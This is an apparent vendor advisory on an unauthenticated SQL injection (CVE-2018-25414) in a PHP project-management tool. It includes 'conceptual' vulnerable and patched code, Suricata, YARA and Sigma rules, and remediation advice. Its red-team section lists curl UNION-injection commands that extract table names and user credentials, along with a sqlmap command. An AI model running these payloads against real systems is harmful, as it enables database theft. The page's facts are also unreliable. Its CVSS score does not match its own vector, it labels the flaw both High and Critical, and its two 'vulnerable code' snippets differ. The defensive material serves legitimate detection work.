CVE-2018-25414
Executive Summary
CVE-2018-25414 is a critical SQL injection vulnerability in AiOPMSD Final 1.0.0, an open-source project management system. The flaw resides in the actor.php file, where the actor GET parameter is directly concatenated into SQL queries without sanitization or parameterization. An unauthenticated attacker can exploit this by sending crafted HTTP GET requests to actor.php with malicious SQL payloads in the actor parameter. Successful exploitation allows the attacker to extract sensitive database information, including usernames, database names, and database version details. The vulnerability has a CVSS score of 8.2 (High) and is currently unpatched, with no official fix available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for any instance running this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
- User Interaction (UI): None – The attacker does not need to trick a user into performing any action.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Full database contents can be read.
- Integrity (I): High – Data can be modified or deleted via stacked queries.
- Availability (A): High – Database can be disrupted or destroyed.
Threat Level: Critical due to the combination of network exploitability, no authentication requirement, and full impact on confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability exists in the actor.php file of AiOPMSD Final 1.0.0. The application takes the actor parameter from the HTTP GET request and directly interpolates it into a SQL query without any sanitization, parameterization, or escaping. This is a classic SQL injection flaw.
Vulnerable Code Snippet (Conceptual):
<?php
$actor = $_GET['actor'];
$query = "SELECT * FROM users WHERE actor = '$actor'";
$result = mysqli_query($conn, $query);
?>
The attacker can inject SQL commands by providing a value like:
' OR '1'='1' -- -
This would transform the query into:
SELECT * FROM users WHERE actor = '' OR '1'='1' -- -'
The OR '1'='1' condition makes the WHERE clause always true, returning all rows from the users table. The -- - comments out the rest of the query, preventing syntax errors.
For data extraction, the attacker can use UNION-based injection:
' UNION SELECT username, password, NULL FROM admin_users -- -
This would append the results from the admin_users table to the original query results, exposing credentials.
The vulnerability is unauthenticated, meaning any attacker who can reach the web server can exploit it. The actor.php endpoint is typically used for managing project actors (e.g., team members, stakeholders), but the lack of input validation makes it a direct gateway to the database.
Vulnerable vs. Patched Code
Vulnerable Code (actor.php):
<?php
$actor = $_GET['actor'];
$query = "SELECT * FROM actors WHERE actor_name = '$actor'";
$result = mysqli_query($conn, $query);
?>
Patched Code (Conceptual):
<?php
$actor = $_GET['actor'];
$stmt = $conn->prepare("SELECT * FROM actors WHERE actor_name = ?");
$stmt->bind_param("s", $actor);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched version uses prepared statements with parameterized queries. The ? placeholder is bound to the $actor variable using bind_param(), which ensures the input is treated as data, not executable SQL. This completely prevents SQL injection.
Since no official patch exists, administrators must apply this fix manually or implement a Web Application Firewall (WAF) rule to block malicious input.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Download AiOPMSD Final 1.0.0 from a trusted archive (e.g., SourceForge or GitHub releases).
- Set up a LAMP/LEMP stack (Linux, Apache/Nginx, MySQL, PHP).
- Deploy the application to the web root.
- Ensure the database is initialized with sample data.
Exploitation Steps:
- Reconnaissance: Identify the vulnerable endpoint by scanning for
actor.php:curl -s http://target/actor.php?actor=test - Confirm SQL Injection: Use a simple boolean-based test:
If the response is the same as a normal request, the injection is likely valid.curl "http://target/actor.php?actor=test' AND '1'='1" - Extract Database Version:
curl "http://target/actor.php?actor=test' UNION SELECT @@version,2,3 -- -" - Extract Table Names:
curl "http://target/actor.php?actor=test' UNION SELECT table_name,2,3 FROM information_schema.tables -- -" - Extract User Credentials:
curl "http://target/actor.php?actor=test' UNION SELECT username,password,3 FROM users -- -"
Automated Exploitation with sqlmap:
sqlmap -u "http://target/actor.php?actor=test" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor web server logs for suspicious GET requests to
actor.phpcontaining SQL keywords (e.g.,UNION,SELECT,OR,AND,--). - Look for abnormal response sizes or error messages indicating SQL syntax errors.
Mitigation:
- Immediately apply the patched code using prepared statements.
- If patching is not possible, deploy a WAF rule to block SQL injection patterns in the
actorparameter. - Restrict database user privileges to the minimum required (e.g., no
DROPorINSERTfor the web application user). - Enable query logging to detect malicious activity.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/actor.phpwithactorparameter containing SQL keywords (e.g.,UNION,SELECT,OR,AND,--,#,/*). - Requests with URL-encoded SQL payloads (e.g.,
%27%20OR%20%271%27%3D%271). - Unusually large response bodies from
actor.php(indicating data exfiltration).
File IOCs:
- Modified
actor.phpfile (if attacker uploaded a webshell). - Suspicious files in the web root (e.g.,
cmd.php,shell.php).
Log IOCs:
- Web server logs showing repeated requests to
actor.phpwith varyingactorvalues. - Database logs showing unexpected queries with UNION or stacked statements.
Sample Suricata Rule (see Detection Engineering):
alert http any any -> any any (msg:"CVE-2018-25414 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/actor.php"; http_uri; content:"actor="; http_uri; pcre:"/actor=.*(?:UNION|SELECT|OR|AND|--)/Ui"; sid:1000001; rev:1;)
Detection Engineering
YARA Rule
rule CVE_2018_25414_SQLi_actor_php {
meta:
description = "Detects SQL injection attempts targeting actor.php in AiOPMSD"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2018-25414"
strings:
$actor_param = "actor=" nocase
$sql_keywords = /(UNION|SELECT|OR|AND|--|#|\/\*)/ nocase
condition:
$actor_param and $sql_keywords
}
Sigma Rule
title: CVE-2018-25414 SQL Injection in AiOPMSD actor.php
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against actor.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "actor="
cs-uri-query|contains|all:
- "UNION"
- "SELECT"
condition: selection
falsepositives:
- Legitimate use of the word "UNION" in actor names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2018-25414 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/actor.php"; http_uri; content:"actor="; http_uri; pcre:"/actor=.*(?:UNION|SELECT|OR|AND|--)/Ui"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch the Code: Replace the vulnerable SQL query in
actor.phpwith a prepared statement as shown in the "Vulnerable vs. Patched Code" section. - Apply WAF Rules: Block requests to
actor.phpcontaining SQL keywords in theactorparameter. - Restrict Database Privileges: Ensure the database user used by the application has only
SELECTprivileges on necessary tables and noDROP,INSERT,UPDATE, orDELETEprivileges unless absolutely required. - Enable Input Validation: Implement server-side validation to ensure the
actorparameter contains only alphanumeric characters and underscores.
Long-Term Measures:
- Upgrade Software: If a patched version becomes available, upgrade immediately. Currently, no patch exists, so manual remediation is required.
- Conduct Security Audits: Perform regular code reviews and penetration tests on all web applications.
- Implement Web Application Firewall: Deploy a WAF (e.g., ModSecurity, Cloudflare) with SQL injection prevention rules.
- Monitor Logs: Continuously monitor web server and database logs for suspicious activity.
Workaround (If Patching Is Not Possible):
- Disable the
actor.phpendpoint entirely if it is not critical to operations. - Use a reverse proxy to filter out malicious requests before they reach the application.
Valters IT
Securing Digital Frontiers